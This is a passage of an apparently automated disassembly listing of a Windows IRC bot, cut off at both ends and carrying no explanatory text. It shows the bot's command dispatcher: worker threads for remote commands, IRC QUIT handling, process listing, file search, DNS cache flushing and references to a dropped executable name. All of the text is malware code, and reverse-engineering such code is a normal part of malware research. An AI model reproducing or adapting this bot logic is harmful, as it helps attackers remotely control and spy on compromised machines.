dword_4CB978 ; getsockname mov al, [ebp+var_8FF] push esi ; Args neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+Count], eax push [ebp+Count] ; Count call dword_4CBA60 ; inet_ntoa push eax ; Source lea eax, [ebp+var_860] push eax ; Dest call _strncpy xor eax, eax cmp [ebp+var_8FF], bl push 30h ; Ch setnz al inc eax inc eax mov esi, eax lea eax, [ebp+var_860] push eax ; Str call _strrchr add esp, 14h cmp esi, ebx mov byte ptr [ebp+File+3], bl jle short loc_40391D loc_4038FB: ; CODE XREF: sub_401ACD+1E4Ej cmp eax, ebx jz short loc_40391D mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h ; Ch push eax ; Str call _strrchr inc byte ptr [ebp+File+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+File+3] cmp ecx, esi jl short loc_4038FB loc_40391D: ; CODE XREF: sub_401ACD+1E2Cj ; sub_401ACD+1E30j mov eax, [ebp+arg_4] push [ebp+Format] ; Format mov esi, [ebp+var_4] mov edi, [ebp+var_8] mov [ebp+var_750], eax lea eax, [ebp+var_850] push 80h ; Count push eax ; Dest mov [ebp+var_720], 1 mov [ebp+var_728], esi mov [ebp+var_724], edi call __snprintf push offset byte_43DB88 ; Str2 push offset aF ; "#f" call _strcmp add esp, 14h test eax, eax jz short loc_40398A push offset aF ; "#f" lea eax, [ebp+var_7D0] push 80h ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_403990 ; --------------------------------------------------------------------------- loc_40398A: ; CODE XREF: sub_401ACD+1EA0j mov [ebp+var_7D0], bl loc_403990: ; CODE XREF: sub_401ACD+1EBBj cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039A2 mov eax, offset aSequential ; "Sequential" loc_4039A2: ; CODE XREF: sub_401ACD+1ECEj push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+Dst] push offset asc_42C2CC ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Bh ; int push eax ; Source call sub_40B3BA add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset sub_40C600 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403A2C loc_403A1A: ; CODE XREF: sub_401ACD+1F5Dj cmp [ebp+var_71C], ebx jnz short loc_403A47 push 32h call ds:dword_427080 ; Sleep jmp short loc_403A1A ; --------------------------------------------------------------------------- loc_403A2C: ; CODE XREF: sub_401ACD+1F4Bj call ds:dword_427094 ; RtlGetLastWin32Error push eax lea eax, [ebp+Dst] push offset asc_42C290 ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_403A47: ; CODE XREF: sub_401ACD+1F53j cmp edi, ebx jnz short loc_403A65 push ebx ; int lea eax, [ebp+Dst] push esi ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 add esp, 14h loc_403A65: ; CODE XREF: sub_401ACD+1F7Cj lea eax, [ebp+Dst] push eax call sub_415D38 pop ecx loc_403A72: ; CODE XREF: sub_401ACD+1D36j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_4037B5 jmp loc_401F75 ; --------------------------------------------------------------------------- loc_403A86: ; CODE XREF: sub_401ACD+1DAEj push offset unk_42C258 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_403A90: ; CODE XREF: sub_401ACD+1B05j ; sub_401ACD+1B1Aj push 5 call sub_40B602 test eax, eax pop ecx jle short loc_403AA6 push offset unk_42C238 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_403AA6: ; CODE XREF: sub_401ACD+1FCDj mov eax, dword ptr [ebp+esi+Args] cmp eax, ebx jz short loc_403AC9 push eax ; Format mov edi, 104h lea eax, [ebp+var_2D54] push edi ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_403ADD ; --------------------------------------------------------------------------- loc_403AC9: ; CODE XREF: sub_401ACD+1FE2j mov edi, 104h lea eax, [ebp+var_2D54] push edi push eax push ebx call ds:dword_427078 ; GetModuleFileNameA loc_403ADD: ; CODE XREF: sub_401ACD+1FFAj mov esi, [ebp+esi+Format] cmp esi, ebx jnz short loc_403AED mov esi, offset Str ; "vdobbhjb.exe" loc_403AED: ; CODE XREF: sub_401ACD+2019j push esi ; Format lea eax, [ebp+var_2C50] push edi ; Count push eax ; Dest call __snprintf mov eax, dword_429078 push 7Fh ; Count push [ebp+Format] ; Source mov [ebp+var_2B44], eax mov eax, [ebp+arg_4] mov [ebp+var_2B48], ebx mov [ebp+var_2D58], eax lea eax, [ebp+var_2B40] push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2AC0], eax mov eax, [ebp+var_8] mov [ebp+var_2ABC], eax lea eax, [ebp+var_2D54] push eax lea eax, [ebp+Dst] push [ebp+var_2B44] push offset asc_42C204 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 5 ; int push eax ; Source call sub_40B3BA add esp, 1Ch mov [ebp+var_2B4C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D58] push ebx push eax push offset sub_412197 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_2B4C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403BB9 loc_403BA3: ; CODE XREF: sub_401ACD+20EAj cmp [ebp+var_2AB8], ebx jnz loc_4081AD push 32h call ds:dword_427080 ; Sleep jmp short loc_403BA3 ; --------------------------------------------------------------------------- loc_403BB9: ; CODE XREF: sub_401ACD+20D4j call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42C1C8 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_403BCA: ; CODE XREF: sub_401ACD+1ADBj ; sub_401ACD+1AF0j mov edi, dword ptr [ebp+esi+Args] cmp edi, ebx jz short loc_403BE9 push edi ; Str call _atoi test eax, eax pop ecx jz short loc_403BE9 push edi ; Str call _atoi pop ecx jmp short loc_403BEE ; --------------------------------------------------------------------------- loc_403BE9: ; CODE XREF: sub_401ACD+2106j ; sub_401ACD+2111j mov eax, dword_42907C loc_403BEE: ; CODE XREF: sub_401ACD+211Aj mov esi, [ebp+esi+Format] mov [ebp+var_36CC], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B8], eax jz short loc_403C21 lea eax, [ebp+var_37D0] push esi ; Format push eax ; Dest call _sprintf pop ecx pop ecx jmp short loc_403C4C ; --------------------------------------------------------------------------- loc_403C21: ; CODE XREF: sub_401ACD+2141j lea eax, [ebp+FullPath] push 104h push eax call ds:dword_42707C ; GetSystemDirectoryA push ebx ; Ext push ebx ; Filename lea eax, [ebp+Drive] push ebx ; Dir push eax ; Drive lea eax, [ebp+FullPath] push eax ; FullPath call __splitpath add esp, 14h loc_403C4C: ; CODE XREF: sub_401ACD+2152j lea eax, [ebp+var_37D0] push eax ; Str call _strlen cmp [ebp+eax+var_37D1], 5Ch pop ecx jnz short loc_403C77 lea eax, [ebp+var_37D0] push eax ; Str call _strlen pop ecx mov [ebp+eax+var_37D1], bl loc_403C77: ; CODE XREF: sub_401ACD+2194j push [ebp+Format] ; Format mov esi, [ebp+arg_4] lea eax, [ebp+var_3A58] mov [ebp+var_3A5C], esi push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36BC], eax lea eax, [ebp+var_37D0] mov [ebp+var_36C0], edi push eax push [ebp+var_36CC] push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+Dst] push offset asc_42C18C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 3 ; int push eax ; Source call sub_40B3BA add esp, 20h mov [ebp+var_36C4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A5C] push ebx push eax push offset sub_40FAD6 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_36C4] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403D2B loc_403D19: ; CODE XREF: sub_401ACD+225Cj cmp [ebp+var_36B0], ebx jnz short loc_403D46 push 32h call ds:dword_427080 ; Sleep jmp short loc_403D19 ; --------------------------------------------------------------------------- loc_403D2B: ; CODE XREF: sub_401ACD+224Aj call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset asc_42C150 ; "-" loc_403D37: ; CODE XREF: sub_401ACD+23BFj ; sub_401ACD+4BDCj ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_403D46: ; CODE XREF: sub_401ACD+2252j ; sub_401ACD+23A3j ... cmp [ebp+var_8], ebx jnz loc_4082DE push ebx push edi jmp loc_4071A3 ; --------------------------------------------------------------------------- loc_403D56: ; CODE XREF: sub_401ACD+1AB1j ; sub_401ACD+1AC6j mov edi, dword ptr [ebp+esi+Args] cmp edi, ebx jz short loc_403D75 push edi ; Str call _atoi test eax, eax pop ecx jz short loc_403D75 push edi ; Str call _atoi pop ecx jmp short loc_403D7A ; --------------------------------------------------------------------------- loc_403D75: ; CODE XREF: sub_401ACD+2292j ; sub_401ACD+229Dj mov eax, dword_429080 loc_403D7A: ; CODE XREF: sub_401ACD+22A6j mov [ebp+var_1828], eax mov eax, [ebp+esi+Format] cmp eax, ebx jnz short loc_403D91 lea eax, [ebp+var_C4] loc_403D91: ; CODE XREF: sub_401ACD+22BCj push eax ; Format lea eax, [ebp+var_1968] push 40h ; Count push eax ; Dest call __snprintf mov esi, [ebp+esi+Str2] add esp, 0Ch cmp esi, ebx jnz short loc_403DB3 mov esi, offset byte_43DB88 loc_403DB3: ; CODE XREF: sub_401ACD+22DFj push esi ; Format lea eax, [ebp+var_1928] push 100h ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+var_19E8] push [ebp+Format] ; Format push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1814], eax lea eax, [ebp+var_1968] push eax mov [ebp+var_19EC], esi push [ebp+var_1828] mov [ebp+var_1818], edi push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+Dst] push offset asc_42C114 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 9 ; int push eax ; Source call sub_40B3BA add esp, 20h mov [ebp+var_1824], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19EC] push ebx push eax push offset sub_41144E push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_1824] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403E80 loc_403E6A: ; CODE XREF: sub_401ACD+23B1j cmp [ebp+var_1810], ebx jnz loc_403D46 push 32h call ds:dword_427080 ; Sleep jmp short loc_403E6A ; --------------------------------------------------------------------------- loc_403E80: ; CODE XREF: sub_401ACD+239Bj call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42C0D8 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_403E91: ; CODE XREF: sub_401ACD+1A87j ; sub_401ACD+1A9Cj mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx jz short loc_403EA4 push esi ; Str call _atoi jmp short loc_403EAB ; --------------------------------------------------------------------------- loc_403EA4: ; CODE XREF: sub_401ACD+23CDj push 0Bh call sub_40B621 loc_403EAB: ; CODE XREF: sub_401ACD+23D5j cmp eax, ebx pop ecx jz loc_409644 push eax ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40BD1A jmp loc_404376 ; --------------------------------------------------------------------------- loc_403ECB: ; CODE XREF: sub_401ACD+1A5Dj ; sub_401ACD+1A72j mov eax, dword_4CB8F0 cmp eax, ebx jz short loc_403EE8 call eax ; DnsFlushResolverCache test eax, eax jz short loc_403EE1 push offset unk_42C0B4 jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403EE1: ; CODE XREF: sub_401ACD+240Bj push offset unk_42C088 jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403EE8: ; CODE XREF: sub_401ACD+2405j push offset asc_42C05C ; "-" loc_403EED: ; CODE XREF: sub_401ACD+2412j ; sub_401ACD+2419j ... lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf jmp loc_406BFB ; --------------------------------------------------------------------------- loc_403F03: ; CODE XREF: sub_401ACD+1A33j ; sub_401ACD+1A48j call sub_40A928 test eax, eax jz short loc_403F13 push offset unk_42C038 jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403F13: ; CODE XREF: sub_401ACD+243Dj push offset unk_42C00C jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403F1A: ; CODE XREF: sub_401ACD+1A09j ; sub_401ACD+1A1Ej cmp [ebp+var_8], ebx jnz short loc_403F39 push ebx ; int push [ebp+var_4] ; int push offset dword_42BFF4 ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 add esp, 14h loc_403F39: ; CODE XREF: sub_401ACD+2450j push ebx ; int push [ebp+var_4] ; int call sub_418723 push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 push offset unk_42BFD8 jmp loc_40423F ; --------------------------------------------------------------------------- loc_403F5B: ; CODE XREF: sub_401ACD+18A0j ; sub_401ACD+18B5j push 0Ah call sub_40B602 test eax, eax pop ecx jle short loc_403F6E push offset unk_42BFAC jmp short loc_403F8F ; --------------------------------------------------------------------------- loc_403F6E: ; CODE XREF: sub_401ACD+2498j push [ebp+Format] push [ebp+arg_4] call sub_41A1B1 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403F8A push offset unk_42BF84 jmp short loc_403F8F ; --------------------------------------------------------------------------- loc_403F8A: ; CODE XREF: sub_401ACD+24B4j push offset asc_42BF64 ; "-" loc_403F8F: ; CODE XREF: sub_401ACD+249Fj ; sub_401ACD+24BBj ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx loc_403F9D: ; CODE XREF: sub_401ACD+5781j cmp [ebp+var_8], ebx jnz short loc_403FBE push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int loc_403FB6: ; CODE XREF: sub_401ACD+6DA8j call sub_409869 add esp, 14h loc_403FBE: ; CODE XREF: sub_401ACD+24D3j ; sub_401ACD+26B0j ... lea eax, [ebp+Dst] push eax call sub_415D38 jmp loc_4097D1 ; --------------------------------------------------------------------------- loc_403FCF: ; CODE XREF: sub_401ACD+1876j ; sub_401ACD+188Bj push [ebp+var_8] ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40A5C5 jmp loc_404260 ; --------------------------------------------------------------------------- loc_403FE8: ; CODE XREF: sub_401ACD+184Cj ; sub_401ACD+1861j push dword ptr [ebp+esi+Args] ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_416FCF jmp loc_404260 ; --------------------------------------------------------------------------- loc_404005: ; CODE XREF: sub_401ACD+1822j ; sub_401ACD+1837j or edi, 0FFFFFFFFh call ds:dword_4270B0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx mov [ebp+Src], eax jz short loc_40402E push esi ; Str call _atoi pop ecx mov edi, eax loc_40402E: ; CODE XREF: sub_401ACD+2556j mov eax, [ebp+Src] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_404047 cmp edi, 0FFFFFFFFh jnz loc_409644 loc_404047: ; CODE XREF: sub_401ACD+256Fj push ebx call sub_41ADD8 pop ecx push eax lea eax, [ebp+Dst] push offset unk_42BF4C ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 lea eax, [ebp+Dst] push eax call sub_415D38 loc_404085: ; CODE XREF: sub_401ACD+51BCj add esp, 24h jmp loc_409644 ; --------------------------------------------------------------------------- loc_40408D: ; CODE XREF: sub_401ACD+17F8j ; sub_401ACD+180Dj push 27h call sub_40B602 test eax, eax pop ecx jle short loc_4040BE cmp [ebp+var_8], ebx jnz loc_401F75 push ebx ; int push [ebp+var_4] ; int push offset unk_42BF2C ; int loc_4040AB: ; CODE XREF: sub_401ACD+4F88j push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 jmp loc_408C05 ; --------------------------------------------------------------------------- loc_4040BE: ; CODE XREF: sub_401ACD+25CAj push [ebp+Format] ; Format lea eax, [ebp+var_BC4] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] mov esi, dword ptr [ebp+esi+Args] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax mov [ebp+var_B40], ebx jz short loc_40411F push esi ; Str2 push offset aFull ; "full" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40411F mov [ebp+var_B40], 1 loc_40411F: ; CODE XREF: sub_401ACD+2635j ; sub_401ACD+2646j lea eax, [ebp+Dst] push offset asc_42BF08 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 27h ; int push eax ; Source call sub_40B3BA add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset sub_419E38 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40418D loc_404177: ; CODE XREF: sub_401ACD+26BEj cmp [ebp+var_B34], ebx jnz loc_403FBE push 32h call ds:dword_427080 ; Sleep jmp short loc_404177 ; --------------------------------------------------------------------------- loc_40418D: ; CODE XREF: sub_401ACD+26A8j call ds:dword_427094 ; RtlGetLastWin32Error push eax lea eax, [ebp+Dst] push offset asc_42BECC ; "-" push eax ; Dest call _sprintf add esp, 0Ch jmp loc_403FBE ; --------------------------------------------------------------------------- loc_4041AD: ; CODE XREF: sub_401ACD+17CEj ; sub_401ACD+17E3j cmp [ebp+var_8], ebx jnz short loc_4041CC push ebx ; int push [ebp+var_4] ; int push offset unk_42BEB4 ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 add esp, 14h loc_4041CC: ; CODE XREF: sub_401ACD+26E3j push [ebp+arg_4] call dword_4CBA6C ; closesocket call dword_4CB92C ; WSACleanup call sub_4188A6 push ebx call ds:dword_42706C ; ExitProcess loc_4041E7: ; CODE XREF: sub_401ACD+17A4j ; sub_401ACD+17B9j push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push [ebp+arg_4] push eax call sub_41AF8F pop ecx pop ecx push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 push offset unk_42BE9C jmp short loc_40423F ; --------------------------------------------------------------------------- loc_404212: ; CODE XREF: sub_401ACD+177Aj ; sub_401ACD+178Fj push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B243 add esp, 0Ch push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 push offset unk_42BE84 loc_40423F: ; CODE XREF: sub_401ACD+2489j ; sub_401ACD+2743j call sub_415D38 add esp, 18h jmp loc_409644 ; --------------------------------------------------------------------------- loc_40424C: ; CODE XREF: sub_401ACD+1750j ; sub_401ACD+1765j push [ebp+var_8] ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_415DD8 loc_404260: ; CODE XREF: sub_401ACD+3C8j ; sub_401ACD+2516j ... add esp, 10h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_404268: ; CODE XREF: sub_401ACD+1726j ; sub_401ACD+173Bj cmp [ebp+var_C], ebx mov [ebp+var_1598], bl jz short loc_4042A7 mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx jz short loc_4042A7 push esi ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz short loc_4042A7 push eax push offset aS_6 ; "%s" lea eax, [ebp+var_1598] push 80h ; Count push eax ; Dest call __snprintf add esp, 10h loc_4042A7: ; CODE XREF: sub_401ACD+27A4j ; sub_401ACD+27AFj ... push [ebp+Format] ; Format lea eax, [ebp+var_1618] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_161C], eax mov eax, [ebp+var_4] mov [ebp+var_1514], eax mov eax, [ebp+var_8] mov [ebp+var_1510], eax lea eax, [ebp+Dst] push offset asc_42BE6C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 25h ; int push eax ; Source call sub_40B3BA add esp, 14h mov [ebp+var_1518], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_161C] push ebx push eax push offset sub_415E4B push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_1518] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40434A loc_404334: ; CODE XREF: sub_401ACD+287Bj cmp [ebp+var_150C], ebx jnz loc_401F75 push 32h call ds:dword_427080 ; Sleep jmp short loc_404334 ; --------------------------------------------------------------------------- loc_40434A: ; CODE XREF: sub_401ACD+2865j call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42BE34 jmp loc_4097CB ; --------------------------------------------------------------------------- loc_40435B: ; CODE XREF: sub_401ACD+16FCj ; sub_401ACD+1711j push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_415CC0 push offset unk_42BE1C call sub_415D38 loc_404376: ; CODE XREF: sub_401ACD+23F9j add esp, 10h jmp loc_409644 ; --------------------------------------------------------------------------- loc_40437E: ; CODE XREF: sub_401ACD+16D2j ; sub_401ACD+16E7j push [ebp+Format] ; Format lea eax, [ebp+var_C5C] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] mov esi, dword ptr [ebp+esi+Args] mov [ebp+var_C60], eax mov eax, [ebp+var_4] mov [ebp+var_BD4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_BD0], eax jz short loc_4043D8 push offset aSub ; "sub" push esi ; Str1 call _strcmp neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_BD8], eax jmp short loc_4043DE ; --------------------------------------------------------------------------- loc_4043D8: ; CODE XREF: sub_401ACD+28EFj mov [ebp+var_BD8], ebx loc_4043DE: ; CODE XREF: sub_401ACD+2909j lea eax, [ebp+Dst] push offset asc_42BDF8 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 28h ; int push eax ; Source call sub_40B3BA add esp, 14h mov [ebp+var_BDC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C60] push ebx push eax push offset sub_40B425 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_BDC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40444C loc_404436: ; CODE XREF: sub_401ACD+297Dj cmp [ebp+var_BCC], ebx jnz loc_406C1F push 32h call ds:dword_427080 ; Sleep jmp short loc_404436 ; --------------------------------------------------------------------------- loc_40444C: ; CODE XREF: sub_401ACD+2967j call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42BDBC jmp loc_409091 ; --------------------------------------------------------------------------- loc_40445D: ; CODE XREF: sub_401ACD+1656j ; sub_401ACD+166Bj push offset aSbrti ; "sbrti" push offset unk_42BDA4 ; Format loc_404467: ; CODE XREF: sub_401ACD+29D9j lea eax, [ebp+Dst] push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 add esp, 20h jmp loc_406C1F ; --------------------------------------------------------------------------- loc_404494: ; CODE XREF: sub_401ACD+162Cj ; sub_401ACD+1641j push dword_4CB714 call sub_41ADD8 pop ecx push eax push offset unk_42BD78 jmp short loc_404467 ; --------------------------------------------------------------------------- loc_4044A8: ; CODE XREF: sub_401ACD+1602j ; sub_401ACD+1617j mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx jz short loc_4044DA cmp [ebp+var_C], ebx jz short loc_4044E9 push esi ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz short loc_4044E9 push eax ; Args push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] ; int call sub_409823 add esp, 0Ch jmp short loc_4044E9 ; --------------------------------------------------------------------------- loc_4044DA: ; CODE XREF: sub_401ACD+29E4j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] ; int call sub_409823 pop ecx pop ecx loc_4044E9: ; CODE XREF: sub_401ACD+29E9j ; sub_401ACD+29F8j ... push 0FFFFFFFEh jmp loc_401F77 ; --------------------------------------------------------------------------- loc_4044F0: ; CODE XREF: sub_401ACD+15D8j ; sub_401ACD+15EDj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] ; int call sub_409823 push offset unk_42BD28 call sub_415D38 add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401F78 ; --------------------------------------------------------------------------- loc_404512: ; CODE XREF: sub_401ACD+15AEj ; sub_401ACD+15C3j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] ; int call sub_409823 push offset unk_42BCF8 call sub_415D38 add esp, 0Ch jmp loc_4095AD ; --------------------------------------------------------------------------- loc_404531: ; CODE XREF: sub_401ACD+1584j ; sub_401ACD+1599j push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40BA9E jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_404547: ; CODE XREF: sub_401ACD+155Aj ; sub_401ACD+156Fj push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40BA49 jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_40455D: ; CODE XREF: sub_401ACD+1530j ; sub_401ACD+1545j push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40B9DD jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_404573: ; CODE XREF: sub_401ACD+1506j ; sub_401ACD+151Bj push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40B90E jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_404589: ; CODE XREF: sub_401ACD+1461j ; sub_401ACD+1476j push dword ptr [ebp+esi+Args] push 27h push offset aProcessList ; "Process list" push offset dword_42BCD8 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_4045A1: ; CODE XREF: sub_401ACD+1437j ; sub_401ACD+144Cj push dword ptr [ebp+esi+Args] push 24h push offset aFindFile ; "Find file" push offset dword_42BCBC jmp loc_408D08 ; --------------------------------------------------------------------------- loc_4045B9: ; CODE XREF: sub_401ACD+1050j ; sub_401ACD+1065j mov edi, dword ptr [ebp+esi+Args] cmp edi, ebx jz short loc_4045D8 push edi ; Str call _atoi test eax, eax pop ecx jz short loc_4045D8 push edi ; Str call _atoi pop ecx jmp short loc_4045DD ; --------------------------------------------------------------------------- loc_4045D8: ; CODE XREF: sub_401ACD+2AF5j ; sub_401ACD+2B00j mov eax, dword_429074 loc_4045DD: ; CODE XREF: sub_401ACD+2B09j mov esi, [ebp+esi+Format] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404602 push esi ; Format loc_4045EF: ; CODE XREF: sub_401ACD+2B44j lea eax, [ebp+var_5A0] push 10h ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_404619 ; --------------------------------------------------------------------------- loc_404602: ; CODE XREF: sub_401ACD+2B1Fj cmp [ebp+var_8FF], bl jz short loc_404613 lea eax, [ebp+var_C4] push eax jmp short loc_4045EF ; --------------------------------------------------------------------------- loc_404613: ; CODE XREF: sub_401ACD+2B3Bj mov [ebp+var_5A0], bl loc_404619: ; CODE XREF: sub_401ACD+2B33j mov eax, [ebp+var_4] push [ebp+Format] ; Format mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h ; Count mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax ; Dest mov [ebp+var_624], esi call __snprintf add esp, 0Ch push [ebp+var_590] push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+Dst] push offset asc_42BC94 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 19h ; int push eax ; Source call sub_40B3BA add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset sub_411BCE push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4046CA loc_4046B4: ; CODE XREF: sub_401ACD+2BFBj cmp [ebp+var_57C], ebx jnz loc_401F75 push 32h call ds:dword_427080 ; Sleep jmp short loc_4046B4 ; --------------------------------------------------------------------------- loc_4046CA: ; CODE XREF: sub_401ACD+2BE5j call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset dword_42BC58 jmp loc_4097CB ; --------------------------------------------------------------------------- loc_4046DB: ; CODE XREF: sub_401ACD+FFDj ; sub_401ACD+1012j mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx jz short loc_4046FB push 